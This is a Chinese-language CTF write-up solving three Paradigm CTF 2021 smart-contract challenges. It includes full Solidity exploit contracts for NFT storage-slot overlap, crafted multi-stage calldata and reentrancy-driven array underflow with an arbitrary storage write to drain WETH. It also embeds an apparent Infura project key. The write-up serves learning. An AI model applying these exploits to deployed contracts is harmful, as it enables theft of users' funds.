Writeup | Paradigm CTF 2021 Part one - Sissice’s Blog
MARKET
要解决该合约的要求是:让Market合约所有的ETH都消失
1 2 3
| function isSolved() external view returns (bool) { return address(market).balance == 0; }
|
在constructor中,一共使用5+10+15+20=50 ether,铸造了4枚NFT,并且拥有者地址不同
1 2 3 4 5
| uint tokenCost = 5 ether; for (uint i = 0; i < 4; i++) { market.mintCollectibleFor{value: tokenCost}(address(bytes20(keccak256(abi.encodePacked(address(this), i))))); tokenCost += 5 ether; }
|
初步想法是将NFT卖给market,清空market的余额
但是sellCollectible中对tokenOwner有限制
1 2 3 4 5 6 7 8 9 10 11
| function sellCollectible(bytes32 tokenId) public payable { require(tokenPrices[tokenId] > 0, "sellCollectible/not-listed");
(, address tokenOwner, address approved, ) = cryptoCollectibles.getTokenInfo(tokenId); require(msg.sender == tokenOwner, "sellCollectible/not-owner"); require(approved == address(this), "sellCollectible/not-approved");
cryptoCollectibles.transferFrom(tokenId, msg.sender, address(this));
msg.sender.transfer(tokenPrices[tokenId]); }
|
EternalStorage用来存储状态,合约中为了节省gas使用assembly,等效于以下结构
1 2 3 4 5 6 7 8
| mapping(bytes32 => TokenInfo) tokens;
struct TokenInfo { bytes32 displayName; //slot0 address owner; //slot1 address approved; //slot2 address metadata; //slot3 }
|
而我们需要向EVM写数据,就需要满足msg.sender==owner 或者 msg.sender==tokenOwner的要求
正常来说mapping的存储位置无法让两个tokenId的结构体存在部分重叠
但是在实际的assembly中选择了以下方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| case 0xa9fde064 { // updateName(bytes32,bytes32) let tokenId := calldataload(0x04) let newName := calldataload(0x24)
ensureTokenOwner(tokenId) sstore(tokenId, newName) //SSTORE从堆栈中弹出两个值,首先是32字节的key,其次是32字节的value,并将该值存储在由key定义的指定存储槽中 } case 0x9711a543 { // updateOwner(bytes32,address) let tokenId := calldataload(0x04) let newOwner := and(calldataload(0x24), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
ensureTokenOwner(tokenId) sstore(add(tokenId, 1), newOwner) } case 0xbdce9bde { // updateApproval(bytes32,address) let tokenId := calldataload(0x04) let newApproval := and(calldataload(0x24), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
ensureTokenOwner(tokenId) sstore(add(tokenId, 2), newApproval) } case 0x169dbe24 { // updateMetadata(bytes32,address) let tokenId := calldataload(0x04) let newMetadata := and(calldataload(0x24), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
ensureTokenOwner(tokenId) sstore(add(tokenId, 3), newMetadata) }
|
可以试图操纵tokenId的数值,让两个tokenId的结构体存在部分重叠,即让tokenId_1的slot_1刚好位于tokenId_0的slot_3
1 2 3 4 5 6
| tokenId_0.name tokenId_0.owner tokenId_0.approval - tokenId_1.name tokenId_0.metadata - tokenId_1.owner - tokenId_1.approval - tokenId_1.metadata
|
这样我们就可以通过tokenId_0.metadata来设置tokenId_1.owner
而mint函数中生成的tokenId是随机的,不能通过这个函数生成我们想要的tokenId
1 2 3 4 5 6 7
| function mint(address tokenOwner) external returns (bytes32) { require(minters[msg.sender], "mint/not-minter");
bytes32 tokenId = keccak256(abi.encodePacked(address(this), tokenIdSalt++)); eternalStorage.mint(tokenId, "My First Collectible", tokenOwner); return tokenId; }
|
但是有一个最大的漏洞在于调用sellCollectible,sell一个token的时候,直接给出tokenId,然后用该tokenId作为从存储中取值的key获取整个tokenInfo,不会验证这个NFT是否被铸造过。因此我们可以虚构一个tokenId_1, 满足上面的关系。
1 2 3 4 5 6 7 8
| function getTokenInfo(bytes32 tokenId) external view returns (bytes32, address, address, address) { return ( eternalStorage.getName(tokenId), eternalStorage.getOwner(tokenId), eternalStorage.getApproval(tokenId), eternalStorage.getMetadata(tokenId) ); }
|
由于sellCollectible函数中要求价格大于0,所以不能出售我们自己虚构的token
1
| require(tokenPrices[tokenId] > 0, "sellCollectible/not-listed");
|
所以进行两次tokenId的数值的更改,将tokenId_0出售两次
- 铸造一个tokenId_0,并更改metadata为攻击合约地址
- 出售tokenId_0
- 虚构tokenId_1,tokenId的值为 token_0+2 (此时tokenId_1.owner=tokenId_0.metadata=攻击合约地址)
- 更改tokenId_1.name为攻击合约地址(此时tokenId_0.approval=tokenId_1.name=攻击合约地址)
- 将tokenId_0 transferFrom 给攻击合约
- 再次出售
注意,由于要求是让Market合约所有的ETH都消失,而代币价格不等于发送的以太币数量
所以我们选择设定一个较高的tokenPrices,并在第二次出售之前计算Market合约缺失的tokenPrices
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| pragma solidity 0.7.0;
import "./Setup.sol";
contract marketExploit { marketSetup public setup; EternalStorageAPI public eternalStorage; CryptoCollectibles public token; CryptoCollectiblesMarket public market; constructor(address _setup) payable { setup = marketSetup(_setup); eternalStorage = setup.eternalStorage(); token = setup.token(); market = setup.market(); require(msg.value == 70 ether); bytes32 token_0 = market.mintCollectibleFor{value: 70 ether}(address(this)); //修改token_0.metadata, 让它等于address(this) eternalStorage.updateMetadata(token_0,address(this)); //approve token token.approve(token_0, address(market)); //卖出该token_0, tokenId为token_0 market.sellCollectible(token_0); //get token_1 bytes32 token_1 = bytes32(uint256(token_0)+2); //updateName->approval eternalStorage.updateName(token_1, bytes32(uint256(address(this)))); // transferFrom token.transferFrom(token_0, address(market), address(this)); token.approve(token_0, address(market)); //fix price uint tokenPrice = msg.value * 10000 / (10000 + 1000); uint missingBalance = tokenPrice - address(market).balance; //补偿缺少的ETH market.mintCollectible{value:missingBalance}(); //sellAgain market.sellCollectible(token_0); } }
|
LOCKBOX
利用modifier,套娃
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| modifier _() { _;
assembly { //第一步:拿到全局变量Stage, 判断如果stage的值没有更新则返回 let next := sload(next_slot) if iszero(next) { return(0, 0) }
//第二步:调用Stage上的getSelector()函数,将结果存储在内存中 // keccak(abi.encode("getSelector"))[0:0x04] = 0x034899bc mstore(0x00, 0x034899bc00000000000000000000000000000000000000000000000000000000) pop(call(gas(), next, 0, 0, 0x04, 0x00, 0x04))
//第三步:调用Stage合约,函数选择器为getSelector()函数的返回值,参数为CALLDATA[0x04:] calldatacopy(0x04, 0x04, sub(calldatasize(), 0x04)) switch call(gas(), next, 0, 0, calldatasize(), 0, 0) //第四步:如果调用失败,则REVERT case 0 { returndatacopy(0x00, 0x00, returndatasize()) revert(0x00, returndatasize()) } case 1 { returndatacopy(0x00, 0x00, returndatasize()) return(0x00, returndatasize()) } } }
|
从Entrypoint
to等到Stage1
to Stage2
,Stage5
我们会将相同的 calldata 传递给所有调用。所以一个 calldata 解决题中的6个条件
Entrypoint
随机数预测,传入 bytes4(blockhash(block.number - 1))
即可
1 2 3 4 5
| function solve(bytes4 guess) public _ { require(guess == bytes4(blockhash(block.number - 1)), "do you feel lucky?");
solved = true; }
|
Stage1
需要获得 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
的私钥,这是一个非常出名的地址,其私钥为:0x0000000000000000000000000000000000000000000000000000000000000001
1 2 3
| function solve(uint8 v, bytes32 r, bytes32 s) public _ { require(ecrecover(keccak256("stage1"), v, r, s) == 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, "who are you?"); }
|
注意:在一般的web3.js中,在eth-sign时,会在签名的消息前加上\x19Ethereum Signed Message + len(msg)
一段bytecode。故需使用不加入此消息的eth-sign函数库。
起初使用we3py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from eth_account import Account, messages from eth_account.messages import encode_defunct
from web3 import Web3, HTTPProvider
rpc = "https://mainnet.infura.io/v3/0aec7fd42e0a40f28dd6c1a185f7d3e6" web3 = Web3(HTTPProvider(rpc))
messageshash = web3.toHex(web3.sha3(text='stage1')) print(messageshash) private_key_hex = "0x0000000000000000000000000000000000000000000000000000000000000001"
signed_message = Account.signHash(message_hash=messageshash, private_key=private_key_hex)
print("signature =", signed_message)
print("r = ", web3.toHex(signed_message.r)) print("s = ", web3.toHex(signed_message.s)) print("v = ", web3.toHex(signed_message.v))
|
计算得出结果
1 2 3
| r = 0x370df20998cc15afb44c2879a3c162c92e703fc4194527fb6ccf30532ca1dd3b s = 0x35b3f2e2ff583fed98ff00813ddc7eb17a0ebfc282c011946e2ccbaa9cd3ee67 v = 0x1b
|
但是由于此结果不能满足Stage3
所以使用原始ecdsaSign来签名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| const ethereumjs_util = require("ethereumjs-util"); const { randomBytes } = require('crypto'); const { ecdsaSign } = require('ethereum-cryptography/secp256k1')
const privateKeyStr = '0x0000000000000000000000000000000000000000000000000000000000000001'; const hashStr = '0x' + (ethereumjs_util.keccak(Buffer.from('stage1'), 256)).toString('hex');
const privateKey = Buffer.from(privateKeyStr.slice(2), "hex"); const hash = Buffer.from(hashStr.slice(2), "hex");
while (true) { const { signature, recid } = ecdsaSign(hash, privateKey, { data: randomBytes(32) });
v = recid + 27; r = Buffer.from(signature.slice(0, 32)) s = Buffer.from(signature.slice(32, 64))
if (v != 28) { continue; }
const rBN = '0x' + r.toString('hex'); const sBN = '0x' + s.toString('hex');
if (sBN < rBN) { continue; }
if (sBN.slice(-2) % 2 != 0) { continue; }
break; }
console.log('0x' + v.toString(16)); console.log('0x' + r.toString('hex')); console.log('0x' + s.toString('hex'));
|
得到答案
1 2 3
| v = 0x1c r = 0x1f9c5510565172835329f4e0107b3af787bf46d1690f7e81aba39e47c9940d43 s = 0x6e95dc6553997968a1be6cc8ae66dc1730cd1965f8b3e7114ca0f9df15fc3e98
|
Stage2
1 2 3
| function solve(uint16 a, uint16 b) public _ { require(a > 0 && b > 0 && a + b < a, "something doesn't add up"); }
|
取了 2个 storage的uint 。
Stage3
1 2 3 4 5 6 7 8 9 10 11
| function solve(uint idx, uint[4] memory keys, uint[4] memory lock) public _ { require(keys[idx % 4] == lock[idx % 4], "key did not fit lock");
for (uint i = 0; i < keys.length - 1; i++) { require(keys[i] < keys[i + 1], "out of order"); }
for (uint j = 0; j < keys.length; j++) { require((keys[j] - lock[j]) % 2 == 0, "this is a bit odd"); } }
|
这时的slot部署是这样的
1 2 3 4 5 6 7
| slot0 idx guess v slot1 keys[0] r slot2 keys[1] s slot3 keys[2] slot4 keys[3] slot5 lock[0] slot6 lock[1]
|
这里有三个条件
keys[idx % 4] == lock[idx % 4]
由于idx = 0xff1c,所以idx % 4 = 0
即keys[0] == lock[0]
keys[i] < keys[i + 1]
要求呈递增排列
(keys[j] - lock[j]) % 2 == 0
对应位置的差值必须是偶数,两个偶数相减肯定是偶数,两个奇数相减肯定也是偶数。
Stage4
1 2 3
| function solve(bytes32[6] choices, uint choice) public _ { require(choices[choice % 6] == keccak256(abi.encodePacked("choose")), "wrong choice!"); }
|
要求在前6块slot中部署一个abi.encodePacked(“choose”)
这里还剩下slot3和slot4为空
由于需要满足差值为偶数,所以只能放在slot4
Stage5
1 2 3
| function solve() public _ { require(msg.data.length < 256, "a little too long"); }
|
要求整个data的长度不能超过256
所以综上,得出攻击代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import "./Setup.sol";
contract lockBoxExploit { Entrypoint public entrypoint; constructor(address _setup) public { entrypoint = lockBoxSetup(_setup).entrypoint(); } function exploit() public { bytes memory data = abi.encodePacked( entrypoint.solve.selector, uint(uint16(0xff1c) | (uint256(bytes32(bytes4(blockhash(block.number - 1))))), bytes32(0x1f9c5510565172835329f4e0107b3af787bf46d1690f7e81aba39e47c9940d43), //r bytes32(0x6e95dc6553997968a1be6cc8ae66dc1730cd1965f8b3e7114ca0f9df15fc3e98), //s bytes32(0x6e95dc6553997968a1be6cc8ae66dc1730cd1965f8b3e7114ca0f9df15fc3e9a), //满足差值偶数 bytes32(keccak256('choose')), bytes32(0x1f9c5510565172835329f4e0107b3af787bf46d1690f7e81aba39e47c9940d43), // =r bytes32(0x0000000000000000000000000000000000000000000000000000000000000004) //做的choice 也就是指向abi.encodePakced("choose")的指针 ); uint size = data.length; address entry = address(entrypoint); assembly{ switch call(gas(),entry,0,add(data,0x20),size,0,0) case 0 { returndatacopy(0x00,0x00,returndatasize()) revert(0, returndatasize()) } } }
}
|
BANK
要求是清空bank合约中的50个WETH
1 2 3
| function isSolved() external view returns (bool) { return weth.balanceOf(address(bank)) == 0; }
|
阅读bank代码可以发现
于是想到可以先利用重入使 accounts[msg.sender].length
下溢,再在Storage写入我感兴趣的值,比如我的账户的WETH的余额等,然后再调用withdraw
函数取出合约中所有的WETH到我的账户上。
重入和下溢
分析withdarwToken
函数发现,有如下两个函数涉及到外部合约的调用:
1 2
| ERC20Like(token).balanceOf(msg.sender) ERC20Like(token).transferFrom(msg.sender, address(this), amount)
|
并且withdarwToken和closeLastAccount都会涉及到 accounts[msg.sender].length--;
由此得到一个重入逻辑
1 2 3 4 5 6 7
| deposit(0, address(this), 0) // 第一次调用balanceOf重入,len=1,uniqueTokens == 0 withdraw(0, address(this), 0) // 第二次调用balanceOf重入,len=1,uniqueTokens == 0 deposit(0, address(this), 0) // 第三次调用balanceOf重入,len=1,uniqueTokens == 0 closeLastAccount() // (通过检查 .length > 0 && uniqueTokens == 0) deposit 继续执行并将 uniqueTokens 设置为 1 withdraw 继续执行并再次删除帐户(通过 uniqueTokens == 1 检查) deposit 继续执行,我们不关心它的作用
|
代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| reentrancyState = 1; bank.depositToken(0, address(this), 0);
function balanceOf(address who ) public returns (uint256) { uint result = balances[who]; if (reentrancyState == 1) { reentrancyState++; bank.withdrawToken(0, this, 0); } else if (reentrancyState == 2) { reentrancyState++; bank.depositToken(0, this, 0); } else if (reentrancyState == 3) { reentrancyState++; bank.closeLastAccount(); }
return result; }
|
任意写入
再看一下 setAccountName
函数
1 2 3 4 5
| function setAccountName(uint accountId, string name) external { require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");
accounts[msg.sender][accountId].accountName = name; }
|
联系数据结构
1 2 3 4 5 6 7
| struct Account { string accountName; uint uniqueTokens; mapping(address => uint) balances; }
mapping(address => Account[]) accounts;
|
可以想到计算出一个accountId
可以通过 setAccountName
来设置WETH的余额
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| slot(accounts.accountName) == slot(accounts.balances)
slot(accounts.accountName) = { base_key = keccak(abi.encodePacked(msg.sender, 0x02)); //mapping(address => Account) acc_key = keccak(base_key) + 3 * accountId //Account 类似于动态数组 且Account占三个slot accountName_key = acc_key + 0x00 //accountName处于第一位 }
slot(accounts.balances) = { base_key2 = keccak(abi.encodePacked(msg.sender, 0x02)); acc_key2 = keccak(base_key2) + 3 * accountId balances_key = keccak(abi.encodePacked(address(WETH), acc_key2+0x02)) //balances处于第三位 }
|
由此可以得到以下攻击代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| import "./Setup.sol";
contract BadToken is ERC20Like { mapping(address => uint) balances;
uint stage = 0;
function transfer(address dst, uint qty) public returns (bool) { balances[msg.sender] -= qty; balances[dst] += qty; return true; }
function transferFrom(address src, address dst, uint qty) public returns (bool) { balances[src] -= qty; balances[dst] += qty; return true; }
function approve(address, uint) public returns (bool) { return true; }
function balanceOf(address who) public view returns (uint) { uint result = balances[who];
if (reentrancyState == 1) { reentrancyState++; bank.withdrawToken(0, this, 0); } else if (reentrancyState == 2) { reentrancyState++; bank.depositToken(0, this, 0); } else if (reentrancyState == 3) { reentrancyState++; bank.closeLastAccount(); }
return result; }
Bank private bank; WETH9 private weth; uint public reentrancyState;
function exploit(bankSetup setup) public { bank = setup.bank(); weth = setup.weth();
reentrancyState = 1; bank.depositToken(0, address(this), 0);
bytes32 myArraySlot = keccak256(bytes32(address(this)), uint(2)); bytes32 myArrayStart = keccak256(myArraySlot);
uint account = 0; uint slotsNeeded; while (true) { bytes32 account0Start = bytes32(uint(myArrayStart) + 3*account); bytes32 account0Balances = bytes32(uint(account0Start) + 2); bytes32 wethBalance = keccak256(bytes32(address(weth)), account0Balances);
slotsNeeded = (uint(-1) - uint(myArrayStart)); slotsNeeded++; slotsNeeded += uint(wethBalance); if (uint(slotsNeeded) % 3 == 0) { break; } account++; }
uint accountId = uint(slotsNeeded) / 3;
bank.setAccountName(accountId, string(abi.encodePacked(bytes31(uint248(uint(-1))))));
bank.withdrawToken(account, address(weth), weth.balanceOf(address(bank))); } }
contract bankExploit { constructor(bankSetup setup) public { new BadToken().exploit(setup); } }
|